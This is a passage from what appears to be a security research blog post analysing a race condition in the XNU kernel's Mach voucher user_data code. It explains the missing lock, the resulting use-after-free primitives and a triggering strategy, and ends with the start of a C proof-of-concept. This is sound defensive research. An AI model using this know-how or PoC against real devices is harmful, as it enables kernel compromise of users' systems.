<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Put another way, this comment explaining is exactly what happens when the racing thread was exactly in the region marked </span><span class="BGLtzooHlW-c23">WINDOW</span><span> up above, which is after that thread had incremented </span><span class="BGLtzooHlW-c11">e_made</span><span> on the same </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> which this </span><span class="BGLtzooHlW-c11">ivace</span><span> has a pointer to in its </span><span class="BGLtzooHlW-c11">ivace_value</span><span> field, but before that thread had looked up this </span><span class="BGLtzooHlW-c11">ivace</span><span> and taken a reference. That's exactly the window another thread needs to hit where it's not correct for this thread to free its </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span>, despite our </span><span class="BGLtzooHlW-c11">ivace_refs</span><span class="BGLtzooHlW-c10"> being 0.</span></p><h2 class="BGLtzooHlW-c18 BGLtzooHlW-c5" id="h.9t2rft5xjjjf"><span class="BGLtzooHlW-c20">The bug</span></h2>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Hopefully the significance of the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> </span><span class="BGLtzooHlW-c11">e_made</span><span class="BGLtzooHlW-c10"> field is now clear. It's not exactly a reference count; in fact it only exists as a kind of band-aid to work around what should be in practice a very rare race condition. But, if its value was wrong, bad things could happen if you tried :)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">e_made</span><span> is only modified in two places: Firstly, in </span><span class="BGLtzooHlW-c11">user_data_dedup</span><span> when a matching </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> is found in the </span><span class="BGLtzooHlW-c11">user_data_bucket</span><span class="BGLtzooHlW-c10"> hash table:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.484d8847b8af9875d2025d95cd2485b68892c7b1"></a><a id="t.54"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* ... we found a match... */</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_made</span><span class="BGLtzooHlW-c2">++;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_unlock</span><span class="BGLtzooHlW-c2">();</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The only other place is in </span><span class="BGLtzooHlW-c11">user_data_get_value</span><span> when handling the </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_REDEEM</span><span class="BGLtzooHlW-c10"> command during recipe parsing:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.3c0876f1c62007cdc6321660fe4a6fcf553a111c"></a><a id="t.55"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">switch</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">command</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">case</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_REDEEM</span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* redeem of previous values is the value */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> prev_value_count</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> elem </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">user_data_element_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4">prev_values</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_made</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_made</span><span class="BGLtzooHlW-c2">++;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> prev_values</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_SUCCESS</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* redeem of default is default */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_SUCCESS</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>As mentioned before, it's up to the attr managers themselves to define the semantics of redeeming a voucher; the entirety of the user_data semantics for voucher redemption are shown above. It simply returns the previous value, with </span><span class="BGLtzooHlW-c11">e_made</span><span> incremented by 1. Recall that </span><span class="BGLtzooHlW-c11">*prev_value</span><span> is either the value which was previously in this under-construction voucher for this key, or the value in the </span><span class="BGLtzooHlW-c11">prev_voucher</span><span class="BGLtzooHlW-c10"> referenced by this sub-recipe.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>If you can't spot the bug above in the </span><span class="BGLtzooHlW-c11">user_data</span><span> </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_REDEEM</span><span> code right away that's because it's a bug of omission; it's what's </span><span class="BGLtzooHlW-c17">not</span><span> there that causes the vulnerability, namely that the increment in the </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_REDEEM</span><span> case isn't protected by the </span><span class="BGLtzooHlW-c11">user_data</span><span class="BGLtzooHlW-c10"> lock! This increment isn't atomic.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>That means that if the </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_REDEEM</span><span> code executes in parallel with either itself on another thread or the </span><span class="BGLtzooHlW-c11">elem->e_made++</span><span> increment in </span><span class="BGLtzooHlW-c11">user_data_dedup</span><span> on another thread, the two threads can both see the same initial value for </span><span class="BGLtzooHlW-c11">e_made</span><span class="BGLtzooHlW-c10">, both add one then both write the same value back; incrementing it by one when it should have been incremented by two.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>But remember, </span><span class="BGLtzooHlW-c11">e_made</span><span> isn't a reference count! So actually making something bad happen isn't as simple as just getting the two threads to align such that their increments overlap so that </span><span class="BGLtzooHlW-c11">e_made</span><span class="BGLtzooHlW-c10"> is wrong.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Let's think back to what the purpose of </span><span class="BGLtzooHlW-c11">e_made</span><span> is: it exists solely to ensure that if thread A drops the last ref on an </span><span class="BGLtzooHlW-c11">ivace</span><span> whilst thread B is exactly in the race window shown below, that thread</span><span> </span><span>doesn't free </span><span class="BGLtzooHlW-c11">new_value</span><span class="BGLtzooHlW-c10"> on thread B's stack:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.6678b43a7a459c004d346e8b4b835a591c986cfd"></a><a id="t.56"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivam_get_value</span><span class="BGLtzooHlW-c2">)(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivam</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> command</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> previous_vals</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> previous_vals_count</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> content</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">new_value</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">new_flag</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">new_value_voucher</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_release</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">...</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* WINDOW */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> val_index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace_reference_by_value</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> new_value</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> new_flag</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>And the reason the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> doesn't get freed by thread A is because in that window, </span><span class="BGLtzooHlW-c11">e_made</span><span> will always be </span><span class="BGLtzooHlW-c17">larger</span><span> than the </span><span class="BGLtzooHlW-c11">ivace->ivace_made</span><span> value for any </span><span class="BGLtzooHlW-c11">ivace</span><span> which has a pointer to that </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span>. </span><span class="BGLtzooHlW-c11">e_made</span><span> is larger because the </span><span class="BGLtzooHlW-c11">e_made</span><span> increment always happens </span><span class="BGLtzooHlW-c17">before</span><span> any </span><span class="BGLtzooHlW-c11">ivace_made</span><span class="BGLtzooHlW-c10"> increment.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>This is why the absolute value of </span><span class="BGLtzooHlW-c11">e_made</span><span> isn't important; all that matters is whether or not it's equal to </span><span class="BGLtzooHlW-c11">ivace_made</span><span class="BGLtzooHlW-c10">. And the only purpose of that is to determine whether there's another thread in that window shown above.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>So how can we make something bad happen? Well, let's assume that we successfully trigger the </span><span class="BGLtzooHlW-c11">e_made</span><span> non-atomic increment and end up with a value of </span><span class="BGLtzooHlW-c11">e_made</span><span> which is one less than </span><span class="BGLtzooHlW-c11">ivace_made</span><span>. What does this do to the race window detection logic? It completely flips it! If, in the steady-state </span><span class="BGLtzooHlW-c11">e_made</span><span> is one less than </span><span class="BGLtzooHlW-c11">ivace_made</span><span> then we race two threads; thread A which is dropping the last </span><span class="BGLtzooHlW-c11">ivace_ref</span><span> and thread B which is attempting to revive it and thread B is in the </span><span class="BGLtzooHlW-c23">WINDOW</span><span> shown above then </span><span class="BGLtzooHlW-c11">e_made</span><span> gets incremented before </span><span class="BGLtzooHlW-c11">ivace_made</span><span>, but since </span><span class="BGLtzooHlW-c11">e_made</span><span> started out one </span><span class="BGLtzooHlW-c17">lower</span><span> than </span><span class="BGLtzooHlW-c11">ivace_made</span><span> (due to the successful earlier trigger of the non-atomic increment) then </span><span class="BGLtzooHlW-c11">e_made</span><span> is now exactly </span><span class="BGLtzooHlW-c17">equal</span><span> to </span><span class="BGLtzooHlW-c11">ivace_made</span><span>; the exact condition which indicates we cannot possibly be in the </span><span class="BGLtzooHlW-c23">WINDOW</span><span> shown above, and it's safe to free the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span class="BGLtzooHlW-c10"> which is in fact live on thread B's stack!</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Thread B then ends up with a revived </span><span class="BGLtzooHlW-c11">ivace</span><span> with a dangling </span><span class="BGLtzooHlW-c11">ivace_value</span><span class="BGLtzooHlW-c10">.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>This gives an attacker two primitives that together would be more than sufficient to successfully exploit this bug: the </span><span class="BGLtzooHlW-c11">mach_voucher_extract_attr_content</span><span> voucher port MIG method would allow reading memory through the dangling </span><span class="BGLtzooHlW-c11">ivace_value</span><span> pointer, and deallocating the voucher port would allow a controlled extra </span><span class="BGLtzooHlW-c11">kfree</span><span class="BGLtzooHlW-c10"> of the dangling pointer.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>With the insight that you need to trigger these two race windows (the non-atomic increment to make </span><span class="BGLtzooHlW-c11">e_made</span><span> one too low, then the last-ref vs revive race) it's trivial to write a PoC to demonstrate the issue; simply allocate and deallocate voucher ports on two threads, with at least one of them using a </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_REDEEM</span><span class="BGLtzooHlW-c10"> sub-recipe command. Pretty quickly you'll hit the two race conditions correctly.</span></p><h2 class="BGLtzooHlW-c18 BGLtzooHlW-c5" id="h.fapbpabhxf26"><span>Conclusions</span></h2>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">It's interesting to think about how this vulnerability might have been found. Certainly somebody did find it, and trying to figure out how they might have done that can help us improve our vulnerability research techniques. I'll offer four possibilities:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">1) Just read the code</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Possible, but this vulnerability is quite deep in the code. This would have been a marathon auditing effort to find and determine that it was exploitable. On the other hand this attack surface is reachable from every sandbox making vulnerabilities here very valuable and perhaps worth the investment.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">2) Static lock-analysis tooling</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>This is something which we've discussed within Project Zero over many afternoon coffee chats: could we build a tool to generate a fuzzy mapping between locks and objects which are probably meant to be protected by those locks, and then list any discrepancies where the lock isn't held? In this particular case </span><span class="BGLtzooHlW-c11">e_made</span><span> is only modified in two places; one time the </span><span class="BGLtzooHlW-c11">user_data_lock</span><span class="BGLtzooHlW-c10"> is held and the other time it isn't. Perhaps tooling isn't even required and this could just be a technique used to help guide auditing towards possible race-condition vulnerabilities.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">3) Dynamic lock-analysis tooling</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Perhaps tools like </span><span class="BGLtzooHlW-c21"><a class="BGLtzooHlW-c251" href="https://clang.llvm.org/docs/ThreadSanitizer.html">ThreadSanitizer</a></span><span class="BGLtzooHlW-c10"> could be used to dynamically record a mapping between locks and accessed objects/object fields. Such a tool could plausibly have flagged this race condition under normal system use. The false positive rate of such a tool might be unusably high however.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">4) Race-condition fuzzer</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>It's not inconceivable that a coverage-guided fuzzer could have generated the proof-of-concept shown below, though it would specifically have to have been built to execute parallel testcases.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">As to what technique was actually used, we don't know. As defenders we need to do a better job making sure that we invest even more effort in all of these possibilities and more.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><h2 class="BGLtzooHlW-c18 BGLtzooHlW-c5" id="h.hmmckgsh9ct0"><span class="BGLtzooHlW-c20">PoC:</span></h2><a id="t.236cca22f08a2d4239acb5bcd559819eddfeeef7"></a><a id="t.57"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#include</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c16"><stdio.h></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#include</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c16"><stdlib.h></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#include</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c16"><unistd.h></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#include</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c16"><pthread.h></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#include</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c16"><mach/mach.h></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#include</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c16"><mach/mach_voucher.h></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#include</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c16"><atm/atm_types.h></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#include</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c16"><voucher/ipc_pthread_priority_types.h></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">// @i41nbeer</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c3"> mach_port_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">create_voucher_from_recipe</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> size_t recipe_size</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_port_t voucher </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_PORT_NULL</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kern_return_t kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> host_create_mach_voucher</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_host_self</span><span class="BGLtzooHlW-c2">(),</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_voucher_attr_raw_recipe_array_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe_size</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">voucher</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">kr </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> KERN_SUCCESS</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> printf</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c16">"failed to create voucher from recipe\n"</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> voucher</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">create_single_variable_userdata_voucher_recipe</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> buf</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> size_t len</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> size_t</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> template_size_out</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> size_t recipe_size </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_voucher_attr_recipe_data_t</span><span class="BGLtzooHlW-c2">))</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">+</span><span class="BGLtzooHlW-c4"> len</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
